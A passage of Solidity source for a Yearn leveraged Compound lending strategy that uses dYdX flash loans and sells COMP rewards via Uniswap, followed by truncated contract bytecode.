tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei). * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) { uint256 callCost = ethToWant(callCostInWei); StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 amountFreed = liquidateAllPositions(); if (amountFreed < debtOutstanding) { loss = debtOutstanding.sub(amountFreed); } else if (amountFreed > debtOutstanding) { profit = amountFreed.sub(debtOutstanding); } debtPayment = debtOutstanding.sub(loss); } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. uint256 totalDebt = vault.strategies(address(this)).totalDebt; debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); // call healthCheck contract if (doHealthCheck && healthCheck != address(0)) { require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck"); } else { doHealthCheck = true; } emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * The migration process should be carefully performed to make sure all * the assets are migrated to the new address, which should have never * interacted with the vault before. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault)); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyEmergencyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * ``` * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } * ``` */ function protectedTokens() internal view virtual returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } // File: Strategy.sol /******************** * * A lender optimisation strategy for any erc20 asset * https://github.com/Grandthrax/yearnV2-generic-lender-strat * v0.4.2 * ********************* */ contract Strategy is BaseStrategy, DydxFlashloanBase, ICallee { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // @notice emitted when trying to do Flash Loan. flashLoan address is 0x00 when no flash loan used event Leverage(uint256 amountRequested, uint256 amountGiven, bool deficit, address flashLoan); //Flash Loan Providers address private constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; // Comptroller address for compound.finance ComptrollerI private constant compound = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); //Only three tokens we use address private constant comp = 0xc00e94Cb662C3520282E6f5717214004A7f26888; CErc20I public cToken; //address public constant DAI = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address public constant uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //Operating variables uint256 public collateralTarget = 0.73 ether; // 73% uint256 public blocksToLiquidationDangerZone = 46500; // 7 days = 60*60*24*7/13 uint256 public minWant; // Default is 0. Only lend if we have enough want to be worth it. Can be set to non-zero uint256 public minCompToSell = 0.1 ether; //used both as the threshold to sell but also as a trigger for harvest //To deactivate flash loan provider if needed bool public DyDxActive = true; bool public forceMigrate; // default is false uint256 public dyDxMarketId; constructor(address _vault, address _cToken) public BaseStrategy(_vault) { cToken = CErc20I(address(_cToken)); //pre-set approvals IERC20(comp).safeApprove(uniswapRouter, type(uint256).max); want.safeApprove(address(cToken), type(uint256).max); want.safeApprove(SOLO, type(uint256).max); // You can set these parameters on deployment to whatever you want maxReportDelay = 86400; // once per 24 hours profitFactor = 100; // multiple before triggering harvest _setMarketIdFromTokenAddress(); } function name() external override view returns (string memory){ return "StrategyGenericLevCompFarm"; } /* * Control Functions */ function setDyDx(bool _dydx) external management { DyDxActive = _dydx; } function setForceMigrate(bool _force) external onlyGovernance { forceMigrate = _force; } function setMinCompToSell(uint256 _minCompToSell) external management { minCompToSell = _minCompToSell; } function setMinWant(uint256 _minWant) external management { minWant = _minWant; } function updateMarketId() external management { _setMarketIdFromTokenAddress(); } function setCollateralTarget(uint256 _collateralTarget) external management { (, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken)); require(collateralFactorMantissa > _collateralTarget); collateralTarget = _collateralTarget; } /* * Base External Facing Functions */ /* * An accurate estimate for the total amount of assets (principle + return) * that this strategy is currently managing, denominated in terms of want tokens. */ function estimatedTotalAssets() public override view returns (uint256) { (uint256 deposits, uint256 borrows) = getCurrentPosition(); uint256 _claimableComp = predictCompAccrued(); uint256 currentComp = IERC20(comp).balanceOf(address(this)); // Use touch price. it doesnt matter if we are wrong as this is not used for decision making uint256 estimatedWant = priceCheck(comp, address(want),_claimableComp.add(currentComp)); uint256 conservativeWant = estimatedWant.mul(9).div(10); //10% pessimist return want.balanceOf(address(this)).add(deposits).add(conservativeWant).sub(borrows); } //predicts our profit at next report function expectedReturn() public view returns (uint256) { uint256 estimateAssets = estimatedTotalAssets(); uint256 debt = vault.strategies(address(this)).totalDebt; if (debt > estimateAssets) { return 0; } else { return estimateAssets - debt; } } /* * Provide a signal to the keeper that `tend()` should be called. * (keepers are always reimbursed by yEarn) * * NOTE: this call and `harvestTrigger` should never return `true` at the same time. * tendTrigger should be called with same gasCost as harvestTrigger */ function tendTrigger(uint256 gasCost) public override view returns (bool) { if (harvestTrigger(gasCost)) { //harvest takes priority return false; } return getblocksUntilLiquidation() <= blocksToLiquidationDangerZone; } //WARNING. manipulatable and simple routing. Only use for safe functions function priceCheck(address start, address end, uint256 _amount) public view returns (uint256) { if (_amount == 0) { return 0; } address[] memory path; if(start == weth){ path = new address[](2); path[0] = weth; path[1] = end; }else{ path = new address[](3); path[0] = start; path[1] = weth; path[2] = end; } uint256[] memory amounts = IUni(uniswapRouter).getAmountsOut(_amount, path); return amounts[amounts.length - 1]; } /***************** * Public non-base function ******************/ //Calculate how many blocks until we are in liquidation based on current interest rates //WARNING does not include compounding so the estimate becomes more innacurate the further ahead we look //equation. Compound doesn't include compounding for most blocks //((deposits*colateralThreshold - borrows) / (borrows*borrowrate - deposits*colateralThreshold*interestrate)); function getblocksUntilLiquidation() public view returns (uint256) { (, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken)); (uint256 deposits, uint256 borrows) = getCurrentPosition(); uint256 borrrowRate = cToken.borrowRatePerBlock(); uint256 supplyRate = cToken.supplyRatePerBlock(); uint256 collateralisedDeposit1 = deposits.mul(collateralFactorMantissa).div(1e18); uint256 collateralisedDeposit = collateralisedDeposit1; uint256 denom1 = borrows.mul(borrrowRate); uint256 denom2 = collateralisedDeposit.mul(supplyRate); if (denom2 >= denom1) { return type(uint256).max; } else { uint256 numer = collateralisedDeposit.sub(borrows); uint256 denom = denom1 - denom2; //minus 1 for this block return numer.mul(1e18).div(denom); } } // This function makes a prediction on how much comp is accrued // It is not 100% accurate as it uses current balances in Compound to predict into the past function predictCompAccrued() public view returns (uint256) { (uint256 deposits, uint256 borrows) = getCurrentPosition(); if (deposits == 0) { return 0; // should be impossible to have 0 balance and positive comp accrued } //comp speed is amount to borrow or deposit (so half the total distribution for want) uint256 distributionPerBlock = compound.compSpeeds(address(cToken)); uint256 totalBorrow = cToken.totalBorrows(); //total supply needs to be echanged to underlying using exchange rate uint256 totalSupplyCtoken = cToken.totalSupply(); uint256 totalSupply = totalSupplyCtoken.mul(cToken.exchangeRateStored()).div(1e18); uint256 blockShareSupply = 0; if(totalSupply > 0){ blockShareSupply = deposits.mul(distributionPerBlock).div(totalSupply); } uint256 blockShareBorrow = 0; if(totalBorrow > 0){ blockShareBorrow = borrows.mul(distributionPerBlock).div(totalBorrow); } //how much we expect to earn per block uint256 blockShare = blockShareSupply.add(blockShareBorrow); //last time we ran harvest uint256 lastReport = vault.strategies(address(this)).lastReport; uint256 blocksSinceLast= (block.timestamp.sub(lastReport)).div(13); //roughly 13 seconds per block return blocksSinceLast.mul(blockShare); } //Returns the current position //WARNING - this returns just the balance at last time someone touched the cToken token. Does not accrue interst in between //cToken is very active so not normally an issue. function getCurrentPosition() public view returns (uint256 deposits, uint256 borrows) { (, uint256 ctokenBalance, uint256 borrowBalance, uint256 exchangeRate) = cToken.getAccountSnapshot(address(this)); borrows = borrowBalance; deposits = ctokenBalance.mul(exchangeRate).div(1e18); } //statechanging version function getLivePosition() public returns (uint256 deposits, uint256 borrows) { deposits = cToken.balanceOfUnderlying(address(this)); //we can use non state changing now because we updated state with balanceOfUnderlying call borrows = cToken.borrowBalanceStored(address(this)); } //Same warning as above function netBalanceLent() public view returns (uint256) { (uint256 deposits, uint256 borrows) = getCurrentPosition(); return deposits.sub(borrows); } /*********** * internal core logic *********** */ /* * A core method. * Called at beggining of harvest before providing report to owner * 1 - claim accrued comp * 2 - if enough to be worth it we sell * 3 - because we lose money on our loans we need to offset profit from comp. */ function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { _profit = 0; _loss = 0; //for clarity. also reduces bytesize if (cToken.balanceOf(address(this)) == 0) { uint256 wantBalance = want.balanceOf(address(this)); //no position to harvest //but we may have some debt to return //it is too expensive to free more debt in this method so we do it in adjust position _debtPayment = Math.min(wantBalance, _debtOutstanding); return (_profit, _loss, _debtPayment); } (uint256 deposits, uint256 borrows) = getLivePosition(); //claim comp accrued _claimComp(); //sell comp _disposeOfComp(); uint256 wantBalance = want.balanceOf(address(this)); uint256 investedBalance = deposits.sub(borrows); uint256 balance = investedBalance.add(wantBalance); uint256 debt = vault.strategies(address(this)).totalDebt; //Balance - Total Debt is profit if (balance > debt) { _profit = balance - debt; if (wantBalance < _profit) { //all reserve is profit _profit = wantBalance; } else if (wantBalance > _profit.add(_debtOutstanding)){ _debtPayment = _debtOutstanding; }else{ _debtPayment = wantBalance - _profit; } } else { //we will lose money until we claim comp then we will make money //this has an unintended side effect of slowly lowering our total debt allowed _loss = debt - balance; _debtPayment = Math.min(wantBalance, _debtOutstanding); } } /* * Second core function. Happens after report call. * * Similar to deposit function from V1 strategy */ function adjustPosition(uint256 _debtOutstanding) internal override { //emergency exit is dealt with in prepareReturn if (emergencyExit) { return; } //we are spending all our cash unless we have debt outstanding uint256 _wantBal = want.balanceOf(address(this)); if(_wantBal < _debtOutstanding){ //this is graceful withdrawal. dont use backup //we use more than 1 because withdrawunderlying causes problems with 1 token due to different decimals if(cToken.balanceOf(address(this)) > 1){ _withdrawSome(_debtOutstanding - _wantBal); } return; } (uint256 position, bool deficit) = _calculateDesiredPosition(_wantBal - _debtOutstanding, true); //if we are below minimun want change it is not worth doing //need to be careful in case this pushes to liquidation if (position > minWant) { //if dydx is not active we just try our best with basic leverage if (!DyDxActive) { uint i = 0; while(position > 0){ position = position.sub(_noFlashLoan(position, deficit)); if(i >= 6){ break; } i++; } } else { //if there is huge position to improve we want to do normal leverage. it is quicker if (position > want.balanceOf(SOLO)) { position = position.sub(_noFlashLoan(position, deficit)); } //flash loan to position if(position > minWant){ doDyDxFlashLoan(deficit, position); } } } } /************* * Very important function * Input: amount we want to withdraw and whether we are happy to pay extra for Aave. * cannot be more than we have * Returns amount we were able to withdraw. notall if user has some balance left * * Deleverage position -> redeem our cTokens ******************** */ function _withdrawSome(uint256 _amount) internal returns (bool notAll) { (uint256 position, bool deficit) = _calculateDesiredPosition(_amount, false); //If there is no deficit we dont need to adjust position //if the position change is tiny do nothing if (deficit && position > minWant) { //we do a flash loan to give us a big gap. from here on out it is cheaper to use normal deleverage. Use Aave for extremely large loans if (DyDxActive) { position = position.sub(doDyDxFlashLoan(deficit, position)); } uint8 i = 0; //position will equal 0 unless we haven't been able to deleverage enough with flash loan //if we are not in deficit we dont need to do flash loan while (position > minWant.add(100)) { position = position.sub(_noFlashLoan(position, true)); i++; //A limit set so we don't run out of gas if (i >= 5) { notAll = true; break; } } } //now withdraw //if we want too much we just take max //This part makes sure our withdrawal does not force us into liquidation (uint256 depositBalance, uint256 borrowBalance) = getCurrentPosition(); uint256 tempColla = collateralTarget; uint256 reservedAmount = 0; if(tempColla == 0){ tempColla = 1e15; // 0.001 * 1e18. lower we have issues } reservedAmount = borrowBalance.mul(1e18).div(tempColla); if(depositBalance >= reservedAmount){ uint256 redeemable = depositBalance.sub(reservedAmount); if (redeemable < _amount) { cToken.redeemUnderlying(redeemable); } else { cToken.redeemUnderlying(_amount); } } if(collateralTarget == 0 && want.balanceOf(address(this)) > borrowBalance){ cToken.repayBorrow(borrowBalance); } //let's sell some comp if we have more than needed //flash loan would have sent us comp if we had some accrued so we don't need to call claim comp _disposeOfComp(); } /*********** * This is the main logic for calculating how to change our lends and borrows * Input: balance. The net amount we are going to deposit/withdraw. * Input: dep. Is it a deposit or withdrawal * Output: position. The amount we want to change our current borrow position. * Output: deficit. True if we are reducing position size * * For instance deficit =false, position 100 means increase borrowed balance by 100 ****** */ function _calculateDesiredPosition(uint256 balance, bool dep) internal returns (uint256 position, bool deficit) { //we want to use statechanging for safety (uint256 deposits, uint256 borrows) = getLivePosition(); //When we unwind we end up with the difference between borrow and supply uint256 unwoundDeposit = deposits.sub(borrows); //we want to see how close to collateral target we are. //So we take our unwound deposits and add or remove the balance we are are adding/removing. //This gives us our desired future undwoundDeposit (desired supply) uint256 desiredSupply = 0; if (dep) { desiredSupply = unwoundDeposit.add(balance); } else { if(balance > unwoundDeposit) balance = unwoundDeposit; desiredSupply = unwoundDeposit.sub(balance); } //(ds *c)/(1-c) uint256 num = desiredSupply.mul(collateralTarget); uint256 den = uint256(1e18).sub(collateralTarget); uint256 desiredBorrow = num.div(den); if (desiredBorrow > 1e5) { //stop us going right up to the wire desiredBorrow = desiredBorrow - 1e5; } //now we see if we want to add or remove balance // if the desired borrow is less than our current borrow we are in deficit. so we want to reduce position if (desiredBorrow < borrows) { deficit = true; position = borrows - desiredBorrow; //safemath check done in if statement } else { //otherwise we want to increase position deficit = false; position = desiredBorrow - borrows; } } /* * Liquidate as many assets as possible to `want`, irregardless of slippage, * up to `_amount`. Any excess should be re-invested here as well. */ function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _amountFreed, uint256 _loss) { uint256 _balance = want.balanceOf(address(this)); uint256 assets = netBalanceLent().add(_balance); uint256 debtOutstanding = vault.debtOutstanding(); if(debtOutstanding > assets){ _loss = debtOutstanding - assets; } if (assets < _amountNeeded) { //if we cant afford to withdraw we take all we can //withdraw all we can (uint256 deposits, uint256 borrows) = getLivePosition(); //1 token causes rounding error with withdrawUnderlying if(cToken.balanceOf(address(this)) > 1){ _withdrawSome(deposits.sub(borrows)); } _amountFreed = Math.min(_amountNeeded, want.balanceOf(address(this))); } else { if (_balance < _amountNeeded) { _withdrawSome(_amountNeeded.sub(_balance)); //overflow error if we return more than asked for _amountFreed = Math.min(_amountNeeded, want.balanceOf(address(this))); }else{ _amountFreed = _amountNeeded; } } } function _claimComp() internal { CTokenI[] memory tokens = new CTokenI[](1); tokens[0] = cToken; compound.claimComp(address(this), tokens); } //sell comp function function _disposeOfComp() internal { uint256 _comp = IERC20(comp).balanceOf(address(this)); if (_comp > minCompToSell) { address[] memory path = new address[](3); path[0] = comp; path[1] = weth; path[2] = address(want); IUni(uniswapRouter).swapExactTokensForTokens(_comp, uint256(0), path, address(this), now); } } //lets leave //if we can't deleverage in one go set collateralFactor to 0 and call harvest multiple times until delevered function prepareMigration(address _newStrategy) internal override { if(!forceMigrate){ (uint256 deposits, uint256 borrows) = getLivePosition(); _withdrawSome(deposits.sub(borrows)); (, , uint256 borrowBalance, ) = cToken.getAccountSnapshot(address(this)); require(borrowBalance < 10_000); IERC20 _comp = IERC20(comp); uint _compB = _comp.balanceOf(address(this)); if(_compB > 0){ _comp.safeTransfer(_newStrategy, _compB); } } } //Three functions covering normal leverage and deleverage situations // max is the max amount we want to increase our borrowed balance // returns the amount we actually did function _noFlashLoan(uint256 max, bool deficit) internal returns (uint256 amount) { //we can use non-state changing because this function is always called after _calculateDesiredPosition (uint256 lent, uint256 borrowed) = getCurrentPosition(); //if we have nothing borrowed then we can't deleverage any more if (borrowed == 0 && deficit) { return 0; } (, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken)); if (deficit) { amount = _normalDeleverage(max, lent, borrowed, collateralFactorMantissa); } else { amount = _normalLeverage(max, lent, borrowed, collateralFactorMantissa); } emit Leverage(max, amount, deficit, address(0)); } //maxDeleverage is how much we want to reduce by function _normalDeleverage( uint256 maxDeleverage, uint256 lent, uint256 borrowed, uint256 collatRatio ) internal returns (uint256 deleveragedAmount) { uint256 theoreticalLent = 0; //collat ration should never be 0. if it is something is very wrong... but just incase if(collatRatio != 0){ theoreticalLent = borrowed.mul(1e18).div(collatRatio); } deleveragedAmount = lent.sub(theoreticalLent); if (deleveragedAmount >= borrowed) { deleveragedAmount = borrowed; } if (deleveragedAmount >= maxDeleverage) { deleveragedAmount = maxDeleverage; } uint256 exchangeRateStored = cToken.exchangeRateStored(); //redeemTokens = redeemAmountIn *1e18 / exchangeRate. must be more than 0 //a rounding error means we need another small addition if(deleveragedAmount.mul(1e18) >= exchangeRateStored && deleveragedAmount > 10){ deleveragedAmount = deleveragedAmount -10; cToken.redeemUnderlying(deleveragedAmount); //our borrow has been increased by no more than maxDeleverage cToken.repayBorrow(deleveragedAmount); } } //maxDeleverage is how much we want to increase by function _normalLeverage( uint256 maxLeverage, uint256 lent, uint256 borrowed, uint256 collatRatio ) internal returns (uint256 leveragedAmount) { uint256 theoreticalBorrow = lent.mul(collatRatio).div(1e18); leveragedAmount = theoreticalBorrow.sub(borrowed); if (leveragedAmount >= maxLeverage) { leveragedAmount = maxLeverage; } if(leveragedAmount > 10){ leveragedAmount = leveragedAmount -10; cToken.borrow(leveragedAmount); cToken.mint(want.balanceOf(address(this))); } } //called by flash loan function _loanLogic( bool deficit, uint256 amount ) internal { uint256 bal = want.balanceOf(address(this)); require(bal >= amount); // to stop malicious calls //if in deficit we repay amount and then withdraw if (deficit) { cToken.repayBorrow(amount); //if we are withdrawing we take more to cover fee cToken.redeemUnderlying( amount.add(2)); } else { //check if this failed incase we borrow into liquidation require(cToken.mint(bal) == 0); //borrow more to cover fee // fee is so low for dydx that it does not effect our liquidation risk. //DONT USE FOR AAVE cToken.borrow( amount.add(2)); } } //emergency function that we can use to deleverage manually if something is broken function manualDeleverage(uint256 amount) external management{ require(cToken.redeemUnderlying(amount) == 0); require(cToken.repayBorrow(amount) == 0); } //emergency function that we can use to deleverage manually if something is broken function manualReleaseWant(uint256 amount) external onlyGovernance{ require(cToken.redeemUnderlying(amount) ==0); } function protectedTokens() internal override view returns (address[] memory) { } /****************** * Flash loan stuff ****************/ // Flash loan DXDY // amount desired is how much we are willing for position to change function doDyDxFlashLoan(bool deficit, uint256 amountDesired) internal returns (uint256) { if(amountDesired == 0){ return 0; } uint256 amount = amountDesired; ISoloMargin solo = ISoloMargin(SOLO); // Not enough want in DyDx. So we take all we can uint256 amountInSolo = want.balanceOf(SOLO); if (amountInSolo < amount) { amount = amountInSolo; } bytes memory data = abi.encode(deficit, amount); // 1. Withdraw $ // 2. Call callFunction(...) // 3. Deposit back $ Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(dyDxMarketId, amount); operations[1] = _getCallAction( // Encode custom data for callFunction data ); operations[2] = _getDepositAction(dyDxMarketId, amount.add(2)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); solo.operate(accountInfos, operations); emit Leverage(amountDesired, amount, deficit, SOLO); return amount; } //returns our current collateralisation ratio. Should be compared with collateralTarget function storedCollateralisation() public view returns (uint256 collat) { (uint256 lend, uint256 borrow) = getCurrentPosition(); if (lend == 0) { return 0; } collat = uint256(1e18).mul(borrow).div(lend); } //DyDx calls this function after doing flash loan function callFunction( address sender, Account.Info memory account, bytes memory data ) public override { (bool deficit, uint256 amount) = abi.decode(data, (bool, uint256)); require(msg.sender == SOLO); require(sender == address(this)); _loanLogic(deficit, amount); } // -- Internal Helper functions -- // function _setMarketIdFromTokenAddress() internal { ISoloMargin solo = ISoloMargin(SOLO); uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == address(want)) { dyDxMarketId = i; return; } } revert(); } function ethToWant(uint256 _amtInWei) public view override returns (uint256) { return priceCheck(weth, address(want), _amtInWei); } function liquidateAllPositions() internal override returns (uint256 _amountFreed) { (_amountFreed,) = liquidatePosition(vault.debtOutstanding()); (uint256 deposits, uint256 borrows) = getCurrentPosition(); uint256 position = deposits.sub(borrows); //we want to revert if we can't liquidateall if(!forceMigrate) { require(position < minWant); } } function mgtm_check() internal { require(msg.sender == governance() || msg.sender == strategist); } modifier management() { mgtm_check(); _; } }
0x608060405234801561001057600080fd5b50600436106103c55760003560e01c8063750521f5116101ff578063b252720b1161011a578063e00425a3116100ad578063f017c92f1161007c578063f017c92f146106f7578063f7c99bea1461070a578063fbfa77cf14610712578063fcf2d0ad1461071a576103c5565b8063e00425a3146106c1578063ec38a862146106c9578063ed882c2b146106dc578063efbb5cb0146106ef576103c5565b8063ccce1d7f116100e9578063ccce1d7f1461068b578063ce5494bb14610693578063d3406abd146106a6578063db2fd745146106ae576103c5565b8063b252720b14610660578063c1bb4b5414610668578063c7b9d53014610670578063cb1965dd14610683576103c5565b806391397ab4116101925780639ec5a894116101615780639ec5a89414610635578063a23449741461063d578063ac00ff2614610645578063aced166114610658576103c5565b806391397ab4146105ff57806395e80c50146106125780639a561fbf1461061a5780639be8ef141461062d576103c5565b806389be318a116101ce57806389be318a146105c95780638b418713146105dc5780638cdfe166146105ef5780638e6350e2146105f7576103c5565b8063750521f514610593578063775d35e5146105a6578063780022a0146105ae578063853e0a3b146105c1576103c5565b80632e1a7d4d116102ef5780634641257d116102825780636718835f116102515780636718835f1461056857806369e527da14610570578063735de9f714610578578063748747e614610580576103c5565b80634641257d1461053257806354f809e31461053a5780635641ec031461054d578063650d188014610555576103c5565b8063396794cd116102be578063396794cd146104ee57806339a172a814610501578063418f35cc14610514578063440368a31461052a576103c5565b80632e1a7d4d146104a25780633042087c146104b5578063341b3eb9146104c85780633631ad5f146104db576103c5565b806311bc824511610367578063205409d311610336578063205409d31461048257806322f3e2d41461048a578063258294101461049257806328b7ccf71461049a576103c5565b806311bc82451461044a5780631d12f28b1461045d5780631f1fcd51146104655780631fe4a6861461047a576103c5565b806304324af8116103a357806304324af81461041257806306fdde031461041a5780630ee08f7b146104225780630f969b8714610437576103c5565b806301681a62146103ca5780630268ff0b146103df57806303ee438c146103fd575b600080fd5b6103dd6103d83660046154c8565b610722565b005b6103e76108c1565b6040516103f49190615df9565b60405180910390f35b6104056108e5565b6040516103f49190615ba3565b6103e7610973565b610405610979565b61042a6109b0565b6040516103f49190615b59565b6103dd610445366004615842565b6109b9565b6103dd6104583660046154c8565b610a46565b6103e7610b47565b61046d610b4d565b6040516103f49190615a14565b61046d610b5c565b6103e7610b6b565b61042a610b71565b610405610c13565b6103e7610c32565b6103e76104b0366004615842565b610c38565b6103dd6104c3366004615842565b610c93565b6103dd6104d63660046156b0565b610dbe565b6103dd6104e9366004615842565b610dd9565b6103dd6104fc366004615842565b610de6565b6103dd61050f366004615842565b610e52565b61051c610ed4565b6040516103f4929190615e1b565b6103dd610f9a565b6103dd6111c3565b6103dd6105483660046156b0565b61169c565b61042a6116ee565b61042a610563366004615842565b6116f7565b61042a611724565b61046d61172d565b61046d611741565b6103dd61058e3660046154c8565b611759565b6103dd6105a1366004615757565b611804565b61051c61189b565b6103e76105bc366004615842565b6119b2565b6103e76119e7565b6103e76105d7366004615500565b611c34565b6103dd6105ea366004615540565b611e75565b6103e7611ed7565b6103e7611edd565b6103dd61060d366004615842565b611ee2565b6103e7611f64565b6103dd610628366004615842565b611f6a565b6103e7612023565b61046d61205e565b6103dd61206d565b6103dd6106533660046156b0565b61207d565b61046d612169565b61046d612178565b6103e761218c565b6103dd61067e3660046154c8565b612192565b61042a61223d565b6103e761224b565b6103dd6106a13660046154c8565b612251565b6103e761239c565b6103dd6106bc366004615842565b612450565b6103e761245d565b6103dd6106d73660046154c8565b6127cb565b61042a6106ea366004615842565b61295e565b6103e7612be8565b6103dd610705366004615842565b612d84565b6103e7612e06565b61046d612e0c565b6103dd612e1b565b61072a613156565b6001600160a01b0316336001600160a01b0316146107635760405162461bcd60e51b815260040161075a90615d10565b60405180910390fd5b6006546001600160a01b03828116911614156107915760405162461bcd60e51b815260040161075a90615bdb565b6002546001600160a01b03828116911614156107bf5760405162461bcd60e51b815260040161075a90615cb8565b60606107c96131d3565b905060005b8151811015610824578181815181106107e357fe5b60200260200101516001600160a01b0316836001600160a01b0316141561081c5760405162461bcd60e51b815260040161075a90615d7f565b6001016107ce565b506108bd610830613156565b6040516370a0823160e01b81526001600160a01b038516906370a082319061085c903090600401615a14565b60206040518083038186803b15801561087457600080fd5b505afa158015610888573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ac919061585a565b6001600160a01b03851691906131d8565b5050565b6